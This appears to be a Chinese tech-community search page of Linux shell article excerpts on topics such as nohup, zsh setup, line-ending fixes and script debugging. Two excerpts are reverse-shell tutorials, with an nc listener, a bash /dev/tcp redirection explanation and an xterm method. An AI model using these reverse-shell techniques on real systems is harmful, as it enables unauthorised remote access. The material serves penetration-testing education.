首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux使Shell 命令脱离终端在后台运行

转自:http://www.linuxidc.com/Linux/2011-05/35723.htm 你是否遇到过这样的情况:从终端软件登录远程的Linux主机,将一堆很大的文件压缩为一个.tar.gz...文件,连续压缩了半个小时还没有完成,这时,突然你断网了,你登录不上远程Linux主机了,那么前面的半个小时就会前功尽弃,你非常气愤…… 在Linux,如果你要执行的shell命令耗时特别长,并且: 你的网络不稳定...,随时可能断网; 你在执行了shell命令之后必须要关闭终端软件(例如SecureCRT)。...那么你就需要以脱离终端的方式在后台运行这个shell命令。...方法如下: 输入命令: nohup 你的shell命令 & 回车,使终端回到shell命令行; 输入exit命令退出终端: exit 现在可以关闭你的终端软件了,等过足够的时间,让你的shell命令执行完了再上去看结果吧

2.6K30
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    终端shell美化

    终端美化 终端Linux用户的一大特色,对于经常使用终端的我来说,单调的配色和命令行已经使我有点审美疲劳了,配色可以使用首选项配置,但是命令行的模式我是有点犯尴尬症,所以重新配置了终端并写了这篇帖子...bash和powerlinepowerline 配置 bash相信是很多接触Linux系统的人使用的最频繁的shell了,作为普遍使用的终端shell,bash也是可以进行美化的,美化方案就是powerline...install.sh sh install.sh 或 https://github.com/robbyrussell/oh-my-zsh/archive/master.zip 查看相关命令 查看已有的shell...cat /etc/shells 查看当前shell echo $SHELL 替换shell 使用zsh替换bash(重新打开终端生效) chsh -s /bin/zsh 还原bash(需要重启) chsh

    3K10

    Linux反弹Shell方法

    在日常工作中,我们需要得到目标系统的shell。在局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关shell命令呢?...通过本文我们一起来看看Linux如何反弹shell。...实验环境 kali Linux (内外:192.168.5.139) Centos8 (腾讯云:123.6.44.67) 姿势一 bash反弹 首先,使用nc在外网主机上监听端口: nc -lvp 9090...当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符 理解了上面这些知识,下面来解释一这一条反弹shell的命令, bash -i代表在本地打开一个交互式bash, /dev/tcp.../是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接, >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件

    2.2K30

    终端配置zsh shell

    preface 一直以来我在 Linux 终端用的 shell 都是 zsh,相比默认的 bash 来说,配合上插件的 zsh 功能更加强大并且十分美观,今天刚好要在服务器上重新配置一遍,顺便就记录一...安装 zsh zsh 在默认的情况是没有安装的(除非是 Mac),因此我们得先将 zsh 安装好,我这里是 centOS 的服务器,所以用 yum 包管理器安装,ubuntu 直接用 apt 是一样的.../bash /bin/zsh 然后将我们默认的 shell 变成 zsh,重启终端,输入 echo $SHELL 就可以看到此时的 shell 变成了 zsh $ chsh -s /bin/zsh 安装...raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" 经过一段时间的安装之后就会出现这个界面,代表 oh-my-zsh 已经安装好了 然后重启终端就能够看到漂亮的界面了...另外,在 zsh ,可能用不了 HOME 和 END 键,网上搜了一,需要在 .zshrc 中加入下面这些内容 # key bindings bindkey "\e[1~" beginning-of-line

    1.1K20

    Linuxshell不能正常执行

    标签 LinuxShell 操作 Linux编写deploy.sh文件,内容是用docker部署微服务 执行脚本:出错,错误信息如下 错误信息 [root@coder-oldgeek]# sh deploy.sh...经验分析:这种多半是因为文本编码导致 定位问题 查看文件信息:file命令 [root@coder-oldgeek]# file deploy.sh deploy.sh: Bourne-Again shell...:默认换行符是,称为CR与LF两个符号(\r\n); 【注意点】在windows编辑的shell脚本只看文件内容是没问题,但一旦到linux可能就运行挂了 解决问题 查找换行符号:find命令 find...-name '*.sh' | xargs -I {} perl -pi -e 's/\r//g' {} 查看有问题文件是否去掉DOS格式换行符号 [root@coder-oldgeek]# file...deploy.sh deploy.sh: Bourne-Again shell script, ASCII text executable 发现:with CRLF line terminators

    4.3K10

    linuxshell脚本编程

    介绍 Shell本身是一个用C语言编写的程序,它是用户使用Unix/Linux的桥梁,用户的大部分工作都是通过Shell完成的。Shell既是一种命令语言,又是一种程序设计语言。...因此,对于用户来说,shell是最重要的实用程序,深入了解和熟练掌握shell的特性极其使用方法,是用好Unix/Linux系统的关键。...可以说,shell使用的熟练程度反映了用户对Unix/Linux使用的熟练程度。...Shell脚本和编程语言很相似,也有变量和流程控制语句,但Shell脚本是解释执行的,不需要编译,Shell程序从脚本中一行一行读取并执行这些命令,相当于一个用户把脚本中的命令一行一行敲到Shell提示符执行...Unix/Linux上常见的Shell脚本解释器有bash、sh、csh、ksh等,习惯上把它们称作一种Shell。我们常说有多少种Shell,其实说的是Shell脚本解释器。

    2.3K20

    linux反弹shell的姿势

    通常在获得webshell之后,如果是linux的服务器,一般会返回一个shell来对linux服务器做进一步的渗透,如:溢出提权、信息收集等。...下面就说说linux自带的程序来反弹shell的姿势。 自带工具 Bash 针对不同的linux版本,可能有不同的利用方式,这里简单列一,在使用的时候大家自行测试。...还有一些不常见的工具也可以实现这些功能。...xterm xterm是一个X Window System上的标准虚拟终端。...在10.0.0.1上如何监听获取shell,需要执行一命令: Xnest :1 使用以下命令授权远程主机连接到本机: xhost +targetip 总结 不同的环境需要不同的方式来执行反连,通常情况是不需要那么多的方式的

    1.6K00

    LinuxShell脚本的调试

    这篇博文是对Debugging Shell Scripts in Linux的翻译,希望能帮助到在LinuxShell脚本的童鞋。...Disabling the Shell (-n option) 所谓的-n标识,是noexec的缩写,意为no execution。该标识使得Shell并不执行其中的脚本,而是仅仅检查语法错误。...-n标识并不能确保Shell会执行其它任何检查,实际上它只会执行常规的语法检查。通过使用-n标识,Shell不执行脚本中的命令,所以你可以很安全地检查你的脚本中是否包含语法错误。...Displaying the Scripts Commands ( -v option ) 所谓的-v标识使得Shell可以在详细输出模式(verbose mode)运行。...通常情况,单独的-x命令可以帮助我追溯脚本的问题。 大多数时候,-x标识都会提供关于脚本的特别有用的信息,但是它也会导致大量的输出。下面的例子说明了如何在实践中使用。

    30310
    领券